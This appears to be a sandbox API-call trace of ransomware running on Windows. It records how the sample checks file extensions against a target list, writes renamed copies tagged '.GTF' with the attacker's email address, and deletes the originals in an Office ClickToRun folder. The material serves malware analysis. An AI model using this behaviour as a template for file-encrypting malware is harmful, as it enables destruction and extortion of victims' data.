	[0087.762] lstrlenW (lpString=".jpg") returned 4
	[0087.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.763] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.763] lstrlenW (lpString="msointl30.en-us.dll") returned 19
	[0087.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.763] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=61024) returned 1
	[0087.763] CloseHandle (hObject=0x37c) returned 1
	[0087.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20
	[0087.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.763] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.763] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0087.764] GetLastError () returned 0x0
	[0087.764] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0xee60, lpOverlapped=0x0) returned 1
	[0087.766] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xee70, lpOverlapped=0x0) returned 1
	[0087.768] ReadFile (in: hFile=0x37c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.768] WriteFile (in: hFile=0x370, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0087.768] SetEndOfFile (hFile=0x370) returned 1
	[0087.768] CloseHandle (hObject=0x370) returned 1
	[0087.768] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.768] SetEndOfFile (hFile=0x37c) returned 1
	[0087.769] CloseHandle (hObject=0x37c) returned 1
	[0087.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.770] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1
	[0087.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.770] lstrlenW (lpString=".doc") returned 4
	[0087.770] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.770] lstrlenW (lpString=".docx") returned 5
	[0087.770] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.770] lstrlenW (lpString=".pdf") returned 4
	[0087.770] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.770] lstrlenW (lpString=".xls") returned 4
	[0087.770] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.770] lstrlenW (lpString=".xlsx") returned 5
	[0087.770] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.770] lstrlenW (lpString=".ppt") returned 4
	[0087.770] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.770] lstrlenW (lpString=".zip") returned 4
	[0087.770] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.770] lstrlenW (lpString=".rar") returned 4
	[0087.770] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.770] lstrlenW (lpString=".bz2") returned 4
	[0087.770] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.770] lstrlenW (lpString=".7z") returned 3
	[0087.770] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.770] lstrlenW (lpString=".dbf") returned 4
	[0087.770] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.770] lstrlenW (lpString=".1cd") returned 4
	[0087.771] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString=".jpg") returned 4
	[0087.771] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString=".doc") returned 4
	[0087.771] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString=".docx") returned 5
	[0087.771] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.771] lstrlenW (lpString=".pdf") returned 4
	[0087.771] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString=".xls") returned 4
	[0087.771] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString=".xlsx") returned 5
	[0087.771] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.771] lstrlenW (lpString=".ppt") returned 4
	[0087.771] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString=".zip") returned 4
	[0087.771] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString=".rar") returned 4
	[0087.771] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.771] lstrlenW (lpString=".bz2") returned 4
	[0087.771] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.771] lstrlenW (lpString=".7z") returned 3
	[0087.771] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString=".dbf") returned 4
	[0087.771] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString=".1cd") returned 4
	[0087.771] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77
	[0087.771] lstrlenW (lpString=".jpg") returned 4
	[0087.771] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.772] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.772] lstrlenW (lpString="msvcp120.dll") returned 12
	[0087.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.772] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=660136) returned 1
	[0087.772] CloseHandle (hObject=0x37c) returned 1
	[0087.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20
	[0087.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0087.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.772] lstrlenW (lpString=".doc") returned 4
	[0087.772] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.772] lstrlenW (lpString=".docx") returned 5
	[0087.772] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.772] lstrlenW (lpString=".pdf") returned 4
	[0087.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".xls") returned 4
	[0087.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".xlsx") returned 5
	[0087.773] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.773] lstrlenW (lpString=".ppt") returned 4
	[0087.773] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.773] lstrlenW (lpString=".zip") returned 4
	[0087.773] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".rar") returned 4
	[0087.773] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".bz2") returned 4
	[0087.773] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.773] lstrlenW (lpString=".7z") returned 3
	[0087.773] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.773] lstrlenW (lpString=".dbf") returned 4
	[0087.773] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.773] lstrlenW (lpString=".1cd") returned 4
	[0087.773] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.773] lstrlenW (lpString=".jpg") returned 4
	[0087.773] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.773] lstrlenW (lpString=".doc") returned 4
	[0087.773] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".docx") returned 5
	[0087.773] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.773] lstrlenW (lpString=".pdf") returned 4
	[0087.773] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".xls") returned 4
	[0087.773] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.773] lstrlenW (lpString=".xlsx") returned 5
	[0087.774] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.774] lstrlenW (lpString=".ppt") returned 4
	[0087.774] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.774] lstrlenW (lpString=".zip") returned 4
	[0087.774] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.774] lstrlenW (lpString=".rar") returned 4
	[0087.774] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.774] lstrlenW (lpString=".bz2") returned 4
	[0087.774] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.774] lstrlenW (lpString=".7z") returned 3
	[0087.774] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.774] lstrlenW (lpString=".dbf") returned 4
	[0087.774] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.774] lstrlenW (lpString=".1cd") returned 4
	[0087.774] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0087.774] lstrlenW (lpString=".jpg") returned 4
	[0087.774] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.774] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.774] lstrlenW (lpString="msvcp140.dll") returned 12
	[0087.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0087.774] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=635040) returned 1
	[0087.774] CloseHandle (hObject=0x37c) returned 1
	[0087.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20
	[0087.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0087.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.775] lstrlenW (lpString=".doc") returned 4
	[0087.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.775] lstrlenW (lpString=".docx") returned 5
	[0087.775] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.775] lstrlenW (lpString=".pdf") returned 4
	[0087.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.775] lstrlenW (lpString=".xls") returned 4
	[0087.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.775] lstrlenW (lpString=".xlsx") returned 5
	[0087.775] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.775] lstrlenW (lpString=".ppt") returned 4
	[0087.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.775] lstrlenW (lpString=".zip") returned 4
	[0087.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.775] lstrlenW (lpString=".rar") returned 4
	[0087.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.775] lstrlenW (lpString=".bz2") returned 4
	[0087.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.775] lstrlenW (lpString=".7z") returned 3
	[0087.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.775] lstrlenW (lpString=".dbf") returned 4
	[0087.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString=".1cd") returned 4
	[0087.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString=".jpg") returned 4
	[0087.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString=".doc") returned 4
	[0087.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString=".docx") returned 5
	[0087.776] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0087.776] lstrlenW (lpString=".pdf") returned 4
	[0087.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString=".xls") returned 4
	[0087.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString=".xlsx") returned 5
	[0087.776] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0087.776] lstrlenW (lpString=".ppt") returned 4
	[0087.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString=".zip") returned 4
	[0087.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString=".rar") returned 4
	[0087.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.776] lstrlenW (lpString=".bz2") returned 4
	[0087.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.776] lstrlenW (lpString=".7z") returned 3
	[0087.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString=".dbf") returned 4
	[0087.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.776] lstrlenW (lpString=".1cd") returned 4
	[0087.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0087.777] lstrlenW (lpString=".jpg") returned 4
	[0087.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.777] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0087.777] lstrlenW (lpString="msvcr120.dll") returned 12
	[0087.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0088.145] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=963240) returned 1
	[0088.145] CloseHandle (hObject=0x384) returned 1
	[0088.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20
	[0088.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString=".doc") returned 4
	[0088.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString=".docx") returned 5
	[0088.146] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.146] lstrlenW (lpString=".pdf") returned 4
	[0088.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString=".xls") returned 4
	[0088.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString=".xlsx") returned 5
	[0088.146] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.146] lstrlenW (lpString=".ppt") returned 4
	[0088.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString=".zip") returned 4
	[0088.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString=".rar") returned 4
	[0088.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString=".bz2") returned 4
	[0088.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.146] lstrlenW (lpString=".7z") returned 3
	[0088.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString=".dbf") returned 4
	[0088.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString=".1cd") returned 4
	[0088.146] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString=".jpg") returned 4
	[0088.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.146] lstrlenW (lpString=".doc") returned 4
	[0088.147] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.147] lstrlenW (lpString=".docx") returned 5
	[0088.147] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.147] lstrlenW (lpString=".pdf") returned 4
	[0088.147] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.147] lstrlenW (lpString=".xls") returned 4
	[0088.147] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.147] lstrlenW (lpString=".xlsx") returned 5
	[0088.147] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.147] lstrlenW (lpString=".ppt") returned 4
	[0088.147] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.147] lstrlenW (lpString=".zip") returned 4
	[0088.147] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.147] lstrlenW (lpString=".rar") returned 4
	[0088.147] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.147] lstrlenW (lpString=".bz2") returned 4
	[0088.147] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.147] lstrlenW (lpString=".7z") returned 3
	[0088.147] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.147] lstrlenW (lpString=".dbf") returned 4
	[0088.147] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.147] lstrlenW (lpString=".1cd") returned 4
	[0088.148] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
